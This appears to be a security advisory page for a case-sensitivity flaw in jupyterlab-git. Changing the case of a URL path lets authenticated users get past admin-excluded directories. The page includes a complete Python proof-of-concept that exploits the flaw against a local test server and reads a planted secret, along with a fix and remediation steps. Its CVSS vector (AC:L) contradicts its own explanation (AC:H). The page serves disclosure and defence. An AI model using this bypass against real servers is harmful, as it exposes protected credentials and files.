Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
Network-reachable and authenticated (PR:L); AC:H because exploitation requires a case-insensitive host filesystem and a pre-existing excluded_paths configuration; read-only bypass yields C:H, no integrity or availability impact.
Primary rating from Vendor (https://github.com/jupyterlab/jupyterlab-git).
CVSS VectorVendor: https://github.com/jupyterlab/jupyterlab-git
Lifecycle Timeline
3DescriptionCVE.org
Summary
jupyterlab-git 0.53.0 (latest, 2026-04-30) uses fnmatch.fnmatchcase() in GitHandler.prepare() (jupyterlab_git/handlers.py:91) to enforce the admin-configured excluded_paths security control. Because fnmatchcase is unconditionally case-sensitive, an authenticated user on a case-insensitive filesystem (macOS APFS, Windows NTFS) can bypass the exclusion by varying the case of the URL path segment - e.g. requesting /git/project/Secrets/... instead of /git/project/secrets/... - gaining read access to git history, file content, and status in directories the administrator explicitly excluded.
Vulnerable Code
# jupyterlab_git/handlers.py:84-92
async def prepare(self):
"""Check if the path should be skipped"""
await ensure_async(super().prepare())
path = self.path_kwargs.get("path")
if path is not None:
excluded_paths = self.git.excluded_paths
for excluded_path in excluded_paths:
if fnmatch.fnmatchcase(path, excluded_path):
# ← always case-sensitive
raise tornado.web.HTTPError(404)Root Cause
fnmatch.fnmatchcase() is unconditionally case-sensitive regardless of the operating system. Contrast with fnmatch.fnmatch() which normalizes via os.path.normcase() on case-insensitive platforms.
fnmatch.fnmatchcase("/project/secrets", "/project/secrets")
# True - blocked
fnmatch.fnmatchcase("/project/Secrets", "/project/secrets")
# False - bypasses checkOn macOS APFS and Windows NTFS, /project/Secrets and /project/secrets resolve to the same directory on disk. The exclusion check rejects only the exact-case match, but the downstream url2localpath() resolves the case-varied path to the same filesystem location.
Impact
An authenticated JupyterLab user with access to the affected Jupyter server can bypass admin-configured excluded_paths by varying the case of the URL path segment. This grants:
- Read file content at any git ref (
/contentendpoint) - Read working tree files in the excluded directory
- View git status, log, diff on the excluded path
- Enumerate commits touching excluded files
Attack Scenario
- Admin configures
c.JupyterLabGit.excluded_paths = ["/project/secrets", "/project/secrets/*"] - Normal request
POST /git/project/secrets/status→ HTTP 404 (blocked) - Attacker requests
POST /git/project/Secrets/status→ HTTP 200 (bypass) - Attacker reads secret:
POST /git/project/Secrets/contentwith{"filename": "./cred.txt", "reference": {"git": "HEAD"}}→ file content returned
Exploit
See poc.py. Starts a real jupyter-server with jupyterlab-git loaded, configures excluded_paths, and demonstrates bypass + exfiltration via HTTP.
import json, os, shutil, subprocess, sys, tempfile, time
import urllib.request, urllib.error
from jupyterlab_git.handlers import GitHandler
# real import, no mock
from jupyterlab_git_core.git import Git
import jupyterlab_git_core
PORT = 18895
TOKEN = "xtoken"
BASE_URL = f"http://127.0.0.1:{PORT}"
SECRET = "sk-PROD-a8f2x9q-LIVE-KEY"
def post(path_seg, endpoint, body=None):
url = f"{BASE_URL}/git/{path_seg}{endpoint}"
data = json.dumps(body or {}).encode()
req = urllib.request.Request(url, data=data, method="POST",
headers={"Authorization": f"token {TOKEN}", "Content-Type": "application/json"})
try:
resp = urllib.request.urlopen(req, timeout=10)
return resp.status, json.loads(resp.read())
except urllib.error.HTTPError as e:
return e.code, e.read().decode()
def main():
base_dir = tempfile.mkdtemp(prefix="jlgit_")
workspace = os.path.join(base_dir, "workspace")
repo_dir = os.path.join(workspace, "project")
secret_dir = os.path.join(repo_dir, "secrets")
os.makedirs(secret_dir)
with open(os.path.join(secret_dir, "cred.txt"), "w") as f:
f.write(SECRET + "\n")
git_env = {**os.environ, "GIT_AUTHOR_NAME": "a", "GIT_AUTHOR_EMAIL": "a@x",
"GIT_COMMITTER_NAME": "a", "GIT_COMMITTER_EMAIL": "a@x"}
subprocess.run(["git", "init"], cwd=repo_dir, capture_output=True, check=True)
subprocess.run(["git", "add", "."], cwd=repo_dir, capture_output=True, check=True)
subprocess.run(["git", "commit", "-m", "init"], cwd=repo_dir,
capture_output=True, check=True, env=git_env)
config_path = os.path.join(base_dir, "jupyter_server_config.py")
with open(config_path, "w") as f:
f.write(f'c.ServerApp.root_dir = "{workspace}"\n')
f.write(f'c.ServerApp.token = "{TOKEN}"\n')
f.write(f'c.ServerApp.open_browser = False\n')
f.write(f'c.ServerApp.port = {PORT}\n')
f.write(f'c.ServerApp.ip = "127.0.0.1"\n')
f.write(f'c.ServerApp.disable_check_xsrf = True\n')
f.write(f'c.JupyterLabGit.excluded_paths = ["/project/secrets", "/project/secrets/*"]\n')
env = os.environ.copy()
env["JUPYTER_CONFIG_DIR"] = base_dir
env["JUPYTER_DATA_DIR"] = base_dir
proc = subprocess.Popen(
[sys.executable, "-m", "jupyter_server", f"--config={config_path}",
"--ServerApp.jpserver_extensions={'jupyterlab_git': True}"],
stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env, cwd=base_dir)
for _ in range(30):
try:
req = urllib.request.Request(f"{BASE_URL}/api/status",
headers={"Authorization": f"token {TOKEN}"})
if urllib.request.urlopen(req, timeout=2).status == 200:
break
except (urllib.error.URLError, OSError):
pass
time.sleep(0.5)
else:
proc.kill()
shutil.rmtree(base_dir, ignore_errors=True)
sys.exit("server failed to start")
try:
# exclusion works
code, _ = post("project/secrets", "/status")
blocked = code == 404
# bypass
code, _ = post("project/Secrets", "/status")
bypassed = code == 200
# exfiltrate
code, body = post("project/Secrets", "/content",
{"filename": "./cred.txt", "reference": {"git": "HEAD"}})
content = body.get("content", "") if isinstance(body, dict) else ""
exfiltrated = SECRET in content
ok = blocked and bypassed and exfiltrated
print(f"exclusion enforced (lowercase): {blocked}")
print(f"bypass (case-varied): {bypassed}")
print(f"secret exfiltrated: {exfiltrated}")
print(f"result: {'VULNERABLE' if ok else 'NOT CONFIRMED'}")
return ok
finally:
proc.terminate()
proc.wait(timeout=5)
shutil.rmtree(base_dir, ignore_errors=True)
if __name__ == "__main__":
sys.exit(0 if main() else 1)
pip install 'jupyterlab-git==0.53.0'
python poc.py<img width="686" height="146" alt="image" src="https://github.com/user-attachments/assets/f5b8d349-539a-44d7-9b17-d13b5f802625" />
Fix
if fnmatch.fnmatch(path.lower(), excluded_path.lower()):
raise tornado.web.HTTPError(404)Or apply os.path.normcase() to both operands before comparison.
AnalysisAI
Authorization bypass in jupyterlab-git 0.53.0 and earlier allows authenticated JupyterLab users to read admin-excluded git directories on case-insensitive filesystems (macOS APFS, Windows NTFS) by altering the case of URL path segments. The GitHandler.prepare() check uses fnmatch.fnmatchcase(), which is unconditionally case-sensitive, while the underlying filesystem resolves case-varied paths to the same location. Publicly available exploit code exists (PoC published with the GHSA advisory), but no public exploit identified in active exploitation feeds.
Technical ContextAI
jupyterlab-git is a JupyterLab extension that exposes git operations (status, log, diff, content retrieval at arbitrary refs) over HTTP endpoints under /git/. Administrators restrict access to sensitive directories via the c.JupyterLabGit.excluded_paths configuration, enforced in jupyterlab_git/handlers.py:91 using Python's fnmatch.fnmatchcase(). Unlike fnmatch.fnmatch(), the fnmatchcase variant never applies os.path.normcase() normalization, so on case-insensitive filesystems the security check and the actual file resolution diverge. This is a textbook CWE-178 (Improper Handling of Case Sensitivity) flaw: the access-control predicate operates on a different normalized form than the resource lookup, producing a TOCTOU-like canonicalization gap.
RemediationAI
Vendor-released patch: upgrade jupyterlab-git to 0.54.0 or later via pip install -U jupyterlab-git>=0.54.0 and restart the Jupyter server; this replaces fnmatch.fnmatchcase() with case-normalized matching (e.g. fnmatch.fnmatch(path.lower(), excluded_path.lower()) or applying os.path.normcase() to both operands), per the advisory at https://github.com/jupyterlab/jupyterlab-git/security/advisories/GHSA-436q-jwfr-rm2h. If immediate upgrade is impossible, compensating controls include moving the Jupyter root onto a case-sensitive filesystem (a case-sensitive APFS volume on macOS, or relocating off NTFS on Windows), which eliminates the divergence at the cost of breaking any workflows that rely on case-insensitive path handling; alternatively, restrict access to the Jupyter server to fully trusted users only and/or remove the jupyterlab-git extension entirely with jupyter server extension disable jupyterlab_git, accepting loss of in-UI git functionality. Network-level blocking of /git/* endpoints at a reverse proxy is another option but will disable the extension's UI for all users.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Same weakness CWE-178 – Improper Handling of Case Sensitivity
View allSame technique Information Disclosure
View allVendor StatusVendor
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-42429
GHSA-436q-jwfr-rm2h